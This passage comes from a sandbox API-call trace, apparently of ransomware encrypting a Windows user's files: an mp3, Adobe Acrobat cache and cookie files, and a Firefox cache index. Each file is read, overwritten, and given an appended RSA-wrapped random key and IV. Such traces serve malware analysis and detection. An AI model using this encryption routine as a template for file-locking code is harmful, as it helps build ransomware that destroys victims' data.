(in: hFile=0x1a2c, lDistanceToMove=-66909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.892] WriteFile (in: hFile=0x1a2c, lpBuffer=0x30e5598*, nNumberOfBytesToWrite=0x1055d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1055d, lpOverlapped=0x0) returned 1 [0176.892] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1055d [0176.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.893] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.893] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.893] CloseHandle (hObject=0x1a2c) returned 1 [0176.894] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.894] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0176.894] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\7EKO9q-8ckl11PMN\\7CQttmnyt2d.mp3", dwFileAttributes=0x80) returned 1 [0176.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c94c8 [0176.895] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a160 [0176.895] ReadFile (in: hFile=0x1a2c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x2f2b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2f2b, lpOverlapped=0x0) returned 1 [0176.896] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=-12075, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.896] WriteFile (in: hFile=0x1a2c, lpBuffer=0x30d7f68*, nNumberOfBytesToWrite=0x2f2b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7f68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2f2b, lpOverlapped=0x0) returned 1 [0176.896] SetFilePointer (in: hFile=0x1a2c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2f2b [0176.896] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.896] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.896] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.897] WriteFile (in: hFile=0x1a2c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.897] CloseHandle (hObject=0x1a2c) returned 1 [0176.898] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.898] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.898] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", dwFileAttributes=0x80) returned 1 [0176.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6111e0 [0176.899] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9a38 [0176.901] ReadFile (in: hFile=0x1a30, lpBuffer=0x6f0020, nNumberOfBytesToRead=0x80170, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f0020*, lpNumberOfBytesRead=0x2e1f9bc*=0x80170, lpOverlapped=0x0) returned 1 [0176.976] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=-524656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.976] WriteFile (in: hFile=0x1a30, lpBuffer=0x3522020*, nNumberOfBytesToWrite=0x80170, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3522020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x80170, lpOverlapped=0x0) returned 1 [0176.982] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x80170 [0176.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.982] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.983] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.983] CloseHandle (hObject=0x1a30) returned 1 [0176.984] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0176.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", dwFileAttributes=0x80) returned 1 [0176.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x610e50 [0176.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0176.985] ReadFile (in: hFile=0x1a30, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0176.993] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.993] WriteFile (in: hFile=0x1a30, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0176.994] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0176.994] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0176.994] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0176.994] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0176.995] CloseHandle (hObject=0x1a30) returned 1 [0176.996] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0176.996] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0176.996] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", dwFileAttributes=0x80) returned 1 [0176.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x610438 [0176.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca260 [0176.996] ReadFile (in: hFile=0x1a30, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0177.004] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.004] WriteFile (in: hFile=0x1a30, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0177.004] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0177.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.004] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.005] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.005] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.005] CloseHandle (hObject=0x1a30) returned 1 [0177.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.007] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.007] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_1", dwFileAttributes=0x80) returned 1 [0177.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6107c8 [0177.008] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca9a0 [0177.009] ReadFile (in: hFile=0x1a30, lpBuffer=0x343a010, nNumberOfBytesToRead=0x42000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x343a010*, lpNumberOfBytesRead=0x2e1f9bc*=0x42000, lpOverlapped=0x0) returned 1 [0177.037] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=-270336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.037] WriteFile (in: hFile=0x1a30, lpBuffer=0x347c018*, nNumberOfBytesToWrite=0x42000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347c018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42000, lpOverlapped=0x0) returned 1 [0177.040] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42000 [0177.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.041] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.041] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.041] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.041] CloseHandle (hObject=0x1a30) returned 1 [0177.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0177.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0177.044] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_0", dwFileAttributes=0x80) returned 1 [0177.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611018 [0177.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9868 [0177.046] ReadFile (in: hFile=0x1a30, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0177.056] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.056] WriteFile (in: hFile=0x1a30, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0177.057] SetFilePointer (in: hFile=0x1a30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0177.057] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.057] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.057] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.058] WriteFile (in: hFile=0x1a30, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.058] CloseHandle (hObject=0x1a30) returned 1 [0177.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0177.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal", dwFileAttributes=0x80) returned 1 [0177.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d160 [0177.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5857f8 [0177.062] ReadFile (in: hFile=0x1a34, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0177.062] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.062] WriteFile (in: hFile=0x1a34, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0177.062] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0177.063] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.063] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.063] WriteFile (in: hFile=0x1a34, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.064] WriteFile (in: hFile=0x1a34, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.064] CloseHandle (hObject=0x1a34) returned 1 [0177.065] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.065] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies", dwFileAttributes=0x80) returned 1 [0177.066] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6113a8 [0177.066] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c94c8 [0177.066] ReadFile (in: hFile=0x1a34, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c00, lpOverlapped=0x0) returned 1 [0177.094] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.094] WriteFile (in: hFile=0x1a34, lpBuffer=0x30d6c38*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6c38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c00, lpOverlapped=0x0) returned 1 [0177.094] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c00 [0177.094] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.094] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.095] WriteFile (in: hFile=0x1a34, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.095] WriteFile (in: hFile=0x1a34, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.095] CloseHandle (hObject=0x1a34) returned 1 [0177.099] WriteFile (in: hFile=0x1a40, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0177.100] CloseHandle (hObject=0x1a40) returned 1 [0177.332] WriteFile (in: hFile=0x1a40, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0177.334] CloseHandle (hObject=0x1a40) returned 1 [0177.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0177.334] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", dwFileAttributes=0x80) returned 1 [0177.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6fe68 [0177.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d0d8 [0177.335] ReadFile (in: hFile=0x1a40, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x17bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x17bc, lpOverlapped=0x0) returned 1 [0177.362] SetFilePointer (in: hFile=0x1a40, lDistanceToMove=-6076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.362] WriteFile (in: hFile=0x1a40, lpBuffer=0x30d67f8*, nNumberOfBytesToWrite=0x17bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d67f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17bc, lpOverlapped=0x0) returned 1 [0177.363] SetFilePointer (in: hFile=0x1a40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17bc [0177.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.363] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.363] WriteFile (in: hFile=0x1a40, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.364] WriteFile (in: hFile=0x1a40, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.364] CloseHandle (hObject=0x1a40) returned 1 [0177.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.370] CryptGenRandom 